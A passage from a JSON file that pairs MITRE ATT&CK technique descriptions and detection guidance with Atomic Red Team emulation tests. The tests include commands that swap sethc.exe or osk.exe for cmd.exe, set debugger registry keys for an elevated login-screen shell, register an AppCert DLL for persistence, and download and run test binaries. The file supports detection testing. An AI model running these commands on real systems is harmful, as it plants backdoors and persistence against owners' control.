"attack-pattern--70d81154-b187-45f9-8ec5-295d01255979", - "type": "attack-pattern", - "created": "2020-03-13T11:12:18.558Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1574.005", - "url": "https://attack.mitre.org/techniques/T1574/005" - }, - { - "source_name": "mozilla_sec_adv_2012", - "url": "https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/", - "description": "Robert Kugler. (2012, November 20). Mozilla Foundation Security Advisory 2012-98. Retrieved March 10, 2017." - }, - { - "source_name": "Executable Installers are Vulnerable", - "url": "https://seclists.org/fulldisclosure/2015/Dec/34", - "description": "Stefan Kanthak. (2015, December 8). Executable installers are vulnerable^WEVIL (case 7): 7z*.exe allows remote code execution with escalation of privilege. Retrieved December 4, 2014." - } - ], - "modified": "2020-03-26T19:20:23.030Z", - "name": "Executable Installer File Permissions Weakness", - "description": "Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer. These processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the %TEMP% directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002). Several examples of this weakness in existing common installers have been reported to software vendors.(Citation: mozilla_sec_adv_2012) (Citation: Executable Installers are Vulnerable) If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nLook for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "File: File Modification", - "File: File Creation", - "Service: Service Metadata", - "Module: Module Load", - "Process: Process Creation" - ], - "x_mitre_permissions_required": [ - "Administrator", - "User" - ], - "x_mitre_effective_permissions": [ - "Administrator", - "User", - "SYSTEM" - ] - }, - "atomic_tests": [] - }, - "T1546.008": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Paul Speulstra, AECOM Global Security Operations Center" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--70e52b04-2a0c-4cea-9d18-7149f1df9dc5", - "type": "attack-pattern", - "created": "2020-01-24T14:32:40.315Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1546.008", - "url": "https://attack.mitre.org/techniques/T1546/008" - }, - { - "external_id": "CAPEC-558", - "source_name": "capec", - "url": "https://capec.mitre.org/data/definitions/558.html" - }, - { - "url": "https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html", - "description": "Glyer, C., Kazanciyan, R. (2012, August 20). The \u201cHikit\u201d Rootkit: Advanced and Persistent Attack Techniques (Part 1). Retrieved June 6, 2016.", - "source_name": "FireEye Hikit Rootkit" - }, - { - "url": "https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom", - "description": "Maldonado, D., McGuffin, T. (2016, August 6). Sticky Keys to the Kingdom. Retrieved July 5, 2017.", - "source_name": "DEFCON2016 Sticky Keys" - }, - { - "url": "http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/", - "description": "Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse. Retrieved November 12, 2014.", - "source_name": "Tilbury 2014" - }, - { - "source_name": "Narrator Accessibility Abuse", - "url": "https://giuliocomi.blogspot.com/2019/10/abusing-windows-10-narrators-feedback.html", - "description": "Comi, G. (2019, October 19). Abusing Windows 10 Narrator's 'Feedback-Hub' URI for Fileless Persistence. Retrieved April 28, 2020." - } - ], - "modified": "2020-05-13T20:37:30.048Z", - "name": "Event Triggered Execution: Accessibility Features", - "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\n\nTwo common accessibility programs are C:\\Windows\\System32\\sethc.exe, launched when the shift key is pressed five times and C:\\Windows\\System32\\utilman.exe, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)\n\nDepending on the version of Windows, an adversary may take advantage of these features in different ways. Common methods used by adversaries include replacing accessibility feature binaries or pointers/references to these binaries in the Registry. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in %systemdir%\\, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The [Image File Execution Options Injection](https://attack.mitre.org/techniques/T1546/012) debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced.\n\nFor simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., C:\\Windows\\System32\\utilman.exe) may be replaced with \"cmd.exe\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nOther accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)(Citation: Narrator Accessibility Abuse)\n\n* On-Screen Keyboard: C:\\Windows\\System32\\osk.exe\n* Magnifier: C:\\Windows\\System32\\Magnify.exe\n* Narrator: C:\\Windows\\System32\\Narrator.exe\n* Display Switcher: C:\\Windows\\System32\\DisplaySwitch.exe\n* App Switcher: C:\\Windows\\System32\\AtBroker.exe", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - } - ], - "x_mitre_detection": "Changes to accessibility utility binaries or binary paths that do not correlate with known software, patch cycles, etc., are suspicious. Command line invocation of tools capable of modifying the Registry for associated keys are also suspicious. Utility arguments and the binaries themselves should be monitored for changes. Monitor Registry keys within HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Windows Registry: Windows Registry Key Modification", - "File: File Creation", - "Process: Process Creation", - "Command: Command Execution", - "File: File Modification" - ], - "x_mitre_permissions_required": [ - "Administrator" - ], - "x_mitre_effective_permissions": [ - "SYSTEM" - ], - "identifier": "T1546.008" - }, - "atomic_tests": [ - { - "name": "Attaches Command Prompt as a Debugger to a List of Target Processes", - "auto_generated_guid": "3309f53e-b22b-4eb6-8fd2-a6cf58b355a9", - "description": "Attaches cmd.exe to a list of processes. Configure your own Input arguments to a different executable or list of executables.\nUpon successful execution, powershell will modify the registry and swap osk.exe with cmd.exe.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "parent_list": { - "description": "Comma separated list of system binaries to which you want to attach each #{attached_process}. Default: \"osk.exe\"\n", - "type": "string", - "default": "osk.exe, sethc.exe, utilman.exe, magnify.exe, narrator.exe, DisplaySwitch.exe, atbroker.exe" - }, - "attached_process": { - "description": "Full path to process to attach to target in #{parent_list}. Default: cmd.exe\n", - "type": "path", - "default": "C:\\windows\\system32\\cmd.exe" - } - }, - "executor": { - "command": "$input_table = \"#{parent_list}\".split(\",\")\n$Name = \"Debugger\"\n$Value = \"#{attached_process}\"\nForeach ($item in $input_table){\n $item = $item.trim()\n $registryPath = \"HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\$item\"\n IF(!(Test-Path $registryPath))\n {\n New-Item -Path $registryPath -Force\n New-ItemProperty -Path $registryPath -Name $name -Value $Value -PropertyType STRING -Force\n }\n ELSE\n {\n New-ItemProperty -Path $registryPath -Name $name -Value $Value\n }\n}\n", - "cleanup_command": "$input_table = \"#{parent_list}\".split(\",\")\nForeach ($item in $input_table)\n{\n $item = $item.trim()\n reg delete \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\$item\" /v Debugger /f 2>&1 | Out-Null\n}\n", - "name": "powershell", - "elevation_required": true - } - }, - { - "name": "Replace binary of sticky keys", - "auto_generated_guid": "934e90cf-29ca-48b3-863c-411737ad44e3", - "description": "Replace sticky keys binary (sethc.exe) with cmd.exe\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "IF NOT EXIST C:\\Windows\\System32\\sethc_backup.exe (copy C:\\Windows\\System32\\sethc.exe C:\\Windows\\System32\\sethc_backup.exe) ELSE ( pushd )\ntakeown /F C:\\Windows\\System32\\sethc.exe /A\nicacls C:\\Windows\\System32\\sethc.exe /grant Administrators:F /t\ncopy /Y C:\\Windows\\System32\\cmd.exe C:\\Windows\\System32\\sethc.exe\n", - "cleanup_command": "copy /Y C:\\Windows\\System32\\sethc_backup.exe C:\\Windows\\System32\\sethc.exe\n", - "name": "command_prompt", - "elevation_required": true - } - }, - { - "name": "Create Symbolic Link From osk.exe to cmd.exe", - "auto_generated_guid": "51ef369c-5e87-4f33-88cd-6d61be63edf2", - "description": "Replace accessiblity executable with cmd.exe to provide elevated command prompt from login screen without logging in.\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "IF NOT EXIST %windir%\\System32\\osk.exe.bak (copy %windir%\\System32\\osk.exe %windir%\\System32\\osk.exe.bak) ELSE ( pushd )\ntakeown /F %windir%\\System32\\osk.exe /A\nicacls %windir%\\System32\\osk.exe /grant Administrators:F /t\ndel %windir%\\System32\\osk.exe\nmklink %windir%\\System32\\osk.exe %windir%\\System32\\cmd.exe\n", - "cleanup_command": "takeown /F %windir%\\System32\\osk.exe /A\nicacls %windir%\\System32\\osk.exe /grant Administrators:F /t\ndel %windir%\\System32\\osk.exe\ncopy /Y %windir%\\System32\\osk.exe.bak %windir%\\System32\\osk.exe\nicacls %windir%\\system32\\osk.exe /inheritance:d\nicacls %windir%\\system32\\osk.exe /setowner \"NT SERVICE\\TrustedInstaller\"\nicacls %windir%\\System32\\osk.exe /grant \"NT SERVICE\\TrustedInstaller\":F /t\nicacls %windir%\\system32\\osk.exe /grant:r SYSTEM:RX\nicacls %windir%\\system32\\osk.exe /grant:r Administrators:RX\n", - "name": "command_prompt", - "elevation_required": true - } - } - ] - }, - "T1504": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Allen DeRyke, ICE" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--723e3a2b-ca0d-4daa-ada8-82ea35d3733a", - "type": "attack-pattern", - "created": "2019-06-14T18:53:49.472Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1504", - "url": "https://attack.mitre.org/techniques/T1504" - }, - { - "source_name": "Microsoft About Profiles", - "url": "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-6", - "description": "Microsoft. (2017, November 29). About Profiles. Retrieved June 14, 2019." - }, - { - "source_name": "ESET Turla PowerShell May 2019", - "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/", - "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019." - }, - { - "source_name": "Wits End and Shady PowerShell Profiles", - "url": "https://witsendandshady.blogspot.com/2019/06/lab-notes-persistence-and-privilege.html", - "description": "DeRyke, A.. (2019, June 7). Lab Notes: Persistence and Privilege Elevation using the Powershell Profile. Retrieved July 8, 2019." - }, - { - "url": "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf", - "description": "Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.", - "source_name": "Malware Archaeology PowerShell Cheat Sheet" - } - ], - "modified": "2020-01-24T15:11:53.430Z", - "name": "PowerShell Profile", - "description": "Adversaries may gain persistence and elevate privileges in certain situations by abusing [PowerShell](https://attack.mitre.org/techniques/T1086) profiles. A PowerShell profile (profile.ps1) is a script that runs when PowerShell starts and can be used as a logon script to customize user environments. PowerShell supports several profiles depending on the user or host program. For example, there can be different profiles for PowerShell host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles) \n\nAdversaries may modify these profiles to include arbitrary commands, functions, modules, and/or PowerShell drives to gain persistence. Every time a user opens a PowerShell session the modified script will be executed unless the -NoProfile flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019) \n\nAn adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "Locations where profile.ps1 can be stored should be monitored for new profiles or modifications. (Citation: Malware Archaeology PowerShell Cheat Sheet) Example profile locations include:\n\n* $PsHome\\Profile.ps1\n* $PsHome\\Microsoft.{HostProgram}_profile.ps1\n* $Home\\My Documents\\PowerShell\\Profile.ps1\n* $Home\\My Documents\\PowerShell\\Microsoft.{HostProgram}_profile.ps1\n\nMonitor abnormal PowerShell commands, unusual loading of PowerShell drives or modules, and/or execution of unknown programs.", - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_permissions_required": [ - "User", - "Administrator" - ] - }, - "atomic_tests": [] - }, - "T1055.004": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--7c0f17c9-1af6-4628-9cbd-9e45482dd605", - "type": "attack-pattern", - "created": "2020-01-14T01:29:43.786Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1055.004", - "url": "https://attack.mitre.org/techniques/T1055/004" - }, - { - "url": "https://msdn.microsoft.com/library/windows/desktop/ms681951.aspx", - "description": "Microsoft. (n.d.). Asynchronous Procedure Calls. Retrieved December 8, 2017.", - "source_name": "Microsoft APC" - }, - { - "url": "https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/", - "description": "Gavriel, H. & Erbesfeld, B. (2018, April 11). New \u2018Early Bird\u2019 Code Injection Technique Discovered. Retrieved May 24, 2018.", - "source_name": "CyberBit Early Bird Apr 2018" - }, - { - "url": "https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows", - "description": "Liberman, T. (2016, October 27). ATOMBOMBING: BRAND NEW CODE INJECTION FOR WINDOWS. Retrieved December 8, 2017.", - "source_name": "ENSIL AtomBombing Oct 2016" - }, - { - "url": "https://msdn.microsoft.com/library/windows/desktop/ms649053.aspx", - "description": "Microsoft. (n.d.). About Atom Tables. Retrieved December 8, 2017.", - "source_name": "Microsoft Atom Table" - }, - { - "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", - "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", - "source_name": "Elastic Process Injection July 2017" - } - ], - "modified": "2021-10-18T12:23:46.476Z", - "name": "Process Injection: Asynchronous Procedure Call", - "description": "Adversaries may inject malicious code into processes via the asynchronous procedure call (APC) queue in order to evade process-based defenses as well as possibly elevate privileges. APC injection is a method of executing arbitrary code in the address space of a separate live process. \n\nAPC injection is commonly performed by attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state.(Citation: Microsoft APC) A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point QueueUserAPC can be used to invoke a function (such as LoadLibrayA pointing to a malicious DLL). \n\nA variation of APC injection, dubbed \"Early Bird injection\", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC. (Citation: CyberBit Early Bird Apr 2018) AtomBombing (Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table.(Citation: Microsoft Atom Table)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via APC injection may also evade detection from security products since the execution is masked under a legitimate process. ", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.1", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Process: Process Modification", - "Process: OS API Execution", - "Process: Process Access" - ], - "x_mitre_defense_bypassed": [ - "Application control", - "Anti-virus" - ], - "identifier": "T1055.004" - }, - "atomic_tests": [ - { - "name": "Process Injection via C#", - "auto_generated_guid": "611b39b7-e243-4c81-87a4-7145a90358b1", - "description": "Process Injection using C#\nreference: https://github.com/pwndizzle/c-sharp-memory-injection\nExcercises Five Techniques\n1. Process injection\n2. ApcInjectionAnyProcess\n3. ApcInjectionNewProcess\n4. IatInjection\n5. ThreadHijack\nUpon successful execution, cmd.exe will execute T1055.exe, which exercises 5 techniques. Output will be via stdout.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "exe_binary": { - "description": "Output Binary", - "type": "path", - "default": "PathToAtomicsFolder\\T1055.004\\bin\\T1055.exe" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "#{exe_binary} must be exist on system.\n", - "prereq_command": "if (Test-Path #{exe_binary}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{exe_binary}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055.004/bin/T1055.exe\" -OutFile \"#{exe_binary}\"\n" - } - ], - "executor": { - "command": "#{exe_binary}\n", - "name": "command_prompt" - } - } - ] - }, - "T1138": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--7c93aa74-4bc0-4a9e-90ea-f25f86301566", - "type": "attack-pattern", - "created": "2017-12-14T16:46:06.044Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1138", - "url": "https://attack.mitre.org/techniques/T1138" - }, - { - "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", - "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", - "source_name": "Elastic Process Injection July 2017" - }, - { - "url": "https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf", - "description": "Pierce, Sean. (2015, November). Defending Against Malicious Application Compatibility Shims. Retrieved June 22, 2017.", - "source_name": "Black Hat 2015 App Shim" - } - ], - "modified": "2020-11-10T18:29:30.362Z", - "name": "Application Shimming", - "description": "The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017) Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses [Hooking](https://attack.mitre.org/techniques/T1179) to redirect the code as necessary in order to communicate with the OS. \n\nA list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* %WINDIR%\\AppPatch\\sysmain.sdb\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb\n\nCustom databases are stored in:\n\n* %WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) (UAC) (RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress). Similar to [Hooking](https://attack.mitre.org/techniques/T1179), utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "There are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim):\n\n* Shim-Process-Scanner - checks memory of every running process for any Shim flags\n* Shim-Detector-Lite - detects installation of custom shim databases\n* Shim-Guard - monitors registry for any shim installations\n* ShimScanner - forensic tool to find active shims in memory\n* ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot)\n\nMonitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse.", - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_permissions_required": [ - "Administrator" - ] - }, - "atomic_tests": [] - }, - "T1546.009": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--7d57b371-10c2-45e5-b3cc-83a8fb380e4c", - "type": "attack-pattern", - "created": "2020-01-24T14:47:41.795Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1546.009", - "url": "https://attack.mitre.org/techniques/T1546/009" - }, - { - "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", - "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", - "source_name": "Elastic Process Injection July 2017" - }, - { - "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902", - "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", - "source_name": "TechNet Autoruns" - }, - { - "url": "https://forum.sysinternals.com/appcertdlls_topic12546.html", - "description": "Microsoft. (2007, October 24). Windows Sysinternals - AppCertDlls. Retrieved December 18, 2017.", - "source_name": "Sysinternals AppCertDlls Oct 2007" - } - ], - "modified": "2020-11-10T18:29:31.052Z", - "name": "Event Triggered Execution: AppCert DLLs", - "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\ are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec. (Citation: Elastic Process Injection July 2017)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Malicious AppCert DLLs may also provide persistence by continuously being triggered by API activity. ", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - } - ], - "x_mitre_detection": "Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Monitor the AppCertDLLs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017) \n\nTools such as Sysinternals Autoruns may overlook AppCert DLLs as an auto-starting location. (Citation: TechNet Autoruns) (Citation: Sysinternals AppCertDlls Oct 2007)\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Command: Command Execution", - "Process: OS API Execution", - "Module: Module Load", - "Windows Registry: Windows Registry Key Modification", - "Process: Process Creation" - ], - "x_mitre_permissions_required": [ - "Administrator", - "SYSTEM" - ], - "x_mitre_effective_permissions": [ - "Administrator", - "SYSTEM" - ], - "identifier": "T1546.009" - }, - "atomic_tests": [ - { - "name": "Create registry persistence via AppCert DLL", - "auto_generated_guid": "a5ad6104-5bab-4c43-b295-b4c44c7c6b05", - "description": "Creates a new 'AtomicTest' value pointing to an AppCert DLL in the AppCertDlls registry key. \nOnce the computer restarted, the DLL will be loaded in multiple processes and write an \n'AtomicTest.txt' file in C:\\Users\\Public\\ to validate that the DLL executed succesfully.\n\nReference: https://skanthak.homepage.t-online.de/appcert.html\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "dll_path": { - "description": "path of dll to use", - "type": "path", - "default": "PathToAtomicsFolder\\T1546.009\\bin\\AtomicTest.dll" - }, - "reboot": { - "description": "Set value to $true if you want to automatically reboot the machine", - "type": "string", - "default": "$false" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "File to copy must exist on disk at specified location (#{dll_path})\n", - "prereq_command": "if (Test-Path #{dll_path}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{dll_path}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.009/bin/AtomicTest.dll\" -OutFile \"#{dll_path}\"\n" - } - ], - "executor": { - "command": "Copy-Item #{dll_path} C:\\Users\\Public\\AtomicTest.dll -Force\nreg add \"HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\AppCertDlls\" /v \"AtomicTest\" /t REG_EXPAND_SZ /d \"C:\\Users\\Public\\AtomicTest.dll\" /f\nif(#{reboot}){Restart-Computer} \n", - "cleanup_command": "reg delete \"HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\AppCertDlls\" /v \"AtomicTest\" /f\nRemove-Item C:\\Users\\Public\\AtomicTest.dll -Force\nRemove-Item C:\\Users\\Public\\AtomicTest.txt -Force\n", - "name": "powershell", - "elevation_required": true - } - } - ] - }, - "T1055.002": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - 